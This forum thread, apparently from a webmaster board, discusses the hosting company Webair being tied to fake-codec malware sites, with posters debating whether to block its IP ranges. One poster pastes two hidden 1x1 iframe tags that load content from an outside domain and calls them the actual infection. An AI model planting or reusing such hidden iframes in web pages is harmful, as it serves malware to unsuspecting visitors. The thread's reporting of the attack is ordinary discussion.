![]() |
Webair getting tied to codec viruses! i.e. aff sale theft.
http://www.lavasoftsupport.com/index...ndpost&p=30956
You guys, i.e. Webair, should probably investigate this stuff since it looks like some people are going to start blocking some of your IP ranges. |
damn.. those are some slick guys over there.
|
i :liebe028: webair.
|
well. no surprise there.
Webair afterall does have a shitload of adult clients |
Quote:
|
I stand by my comment yesterday...if you find ESTDOMAIN as the registrar, you should look REALLY closely at the site.
Webair should take steps to make sure they are as far away from this bullshit as possible. |
excuse me, what does this mean?
i just checked, and some of our ip's fall into those ranges. this is not good news. |
Quote:
|
Quote:
I want to know why all those ip's`were listed on that forum. Are they trying to say that at least one ip number in each of those ranges are suspect? Becuase thats not only hard to believe, but kind of irresponsible to list all them without proof that they are offending. webair care to comment? |
Quote:
I got rid of one over there, but it took days to get it done, and they were VERY reluctant to do it. I don't host there, so I have no economic pull. If you host is hosting bullshit, it is time to tell them to fix it or you will head out the door. |
Quote:
Quote:
|
i should have been more clear in what i wanted explained.
anyone can post a bunch of ip's from a host, and scream bloody murder, but all those ip's are not offending, so why post them ALL? Not to mention, without proof. anyone can setup shop on any host and codec the shit out of people. Listing all those ip's like that is irresponsible on the posters part. Granted, he can post any thing he wishes, but with that logic, they should ban every ip out there. Targeting a host like that, and listing all those ip's as being suspect, could mean anything. I just highly doubt that this is somkind of conspiracy on webairs part, that they would allow that many ip's to be pulling bullshit like that. so, is it the poster trying to say that at least one ip in all those ranges are pulling bullshit, or attempt to soil webairs good rep. Weve been with webair for many years. My pockets arent empty. |
Quote:
Not only could it look like an attempt to soil the webair name, but it doesnt make me to happy to see someone trying to tell people to ban a range of ip's that i do biz on. |
Quote:
Quote:
Take the intercage ones... I've posted "proof" on here before that one of those ranges is used by a known "crook". In fact, the owner of intercage has also been implicated (but not caught yet) as being involved with a lot of spam etc. Since I know at least one range is "bad", I'd have no qualms about blocking all the other ones without doing any investigation on my part. In the bigger scheme of things, it's not worth any of my time to dig deeper, sad but true. My purpose of posting this info was so that Webair could be pro-active and deal with this issue from both fronts. i.e. investigate sites in those ranges to see if any are in fact installing these viruses, and also so that they could respond in that thread with their own "statement". However. If I was a customer with webair with an IP in one of those ranges, I'd be VERY concerned that webair is getting associated with this and that those ranges could get blocked by people because of that. That was just 1 post and there could be many more out there. That site is run by one of the adware removal tool companies and I have no idea who that person is. But that's immaterial as that post/poster is just the "messenger". |
I've got some sites within those IP ranges as well..I'll be contacting webair about this.
|
Thanks for the report guys. However, you will get things accomplished faster by contacting us directly, GFY is not webair.com support =))
This instance is related to a reseller account, we will handle it acordingly. Please contact us directly in the future by emailing [email protected]. :) |
Webair, would you guys be so kind as to reveal the reseller (say something like __HOST?). Also, would most of the domains involved be registered through ESTDOMAINS?
85.199.x.x is malware valley. |
ive been hit
|
<iframe src='http://prevedtraf.biz/adv/167/new.php' width=1 height=1></iframe>
<iframe src='http://prevedtraf.biz/adv/new.php?adv=167' width=1 height=1></iframe> thats the actual virus |
Quote:
Webair is good hosting company. The idea, that they would somehow "ALLOW" or "NOT CARE" doesnt hold any water for me. I host there and I know better. Theres no way they would want that type of activity on their servers. |
This is bad.
|
we're on it guys give me a minute...sorry for the delay
|
Quote:
Holy shit!!!!!!!!!!!:GFYBand WOW LETS DRINK A BEER DUDE!:GFYBand By the way not to be an ass but what are your thoughts on this matter man? Have you been reading up lately on GFY, is that why you responded or did some close friend from here call you up from well below the wild fires? Oh and by the way What is "Webairs" involvement at this present time? I mean that post is about you guys right?:thumbsup PLEASE COMMENT! |
Is This True Is this about you guys down at WEBAIR?
I have found 3 address range groups which are closely connected to the fake codec websites, the first one was added to my firewall's blocked list when I found it was full of fake codec sites (and nothing else), the other 2 range groups were already on my list from quite a while back and triggered a number of time while researching the fake codec trojan (from trojan access attempts and attempting to access fake codec mirror sites). It seems like a good idea to block these ranges on any internet access you are in charge of, be sure to set your firewall [or any firewall-using device] to log any hits on this rule so that if it is hit during typical daily computer use you can investigate and report back what site/IP you found. ?:banana |
Quote:
Some asswipes are hosting with Webair. In order to protect themselves against those asswipes, some people may block IP ranges. Blocking those IP ranges will prevent honest WMs from getting traffic and will adversly effect both their business and in the end, Webairs. Thus, it IS a Webair issue that they need to deal with as those bad customers are having an adverse effect on their business. Why are you focusing on the messenger dude. Seriously. No one is saying webair is bad, just that they have some bad cusomters that they need to weed out or it will effect honest customers. |
"just that they have some bad cusomters that they need to weed out or it will effect honest customers".
Hmmmmmmmmmmmmmmmmmm, So in eccence "WE SWIM WITH SHARKS"! |
Quote:
|
P.S. oh where oh where did the webair boy go??????
Come on man you should stand up! |
Quote:
|
Quote:
|
Quote:
|
Quote:
|
Quote:
|
Quote:
|
Bump for catering to spammers!:thumbsup
|
Quote:
By the way.. I know you've endorsed trafficadept... Did you see that thread about a bunch of the sites signed up there that appear to deal in cp? |
Quote:
|
Quote:
|
Quote:
http://www.gofuckyourself.com/showthread.php?t=714031 |
Quote:
Im not trying to give you a hard time, by any means. Your intentions seem genuine, you have tried to make that clear. I just think there was a more rational way of dealing with the issue then banning all those ip's, or focusing the attention on webair as a whole. i.e. the title of this thread. |
All times are GMT -7. The time now is 05:24 AM. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123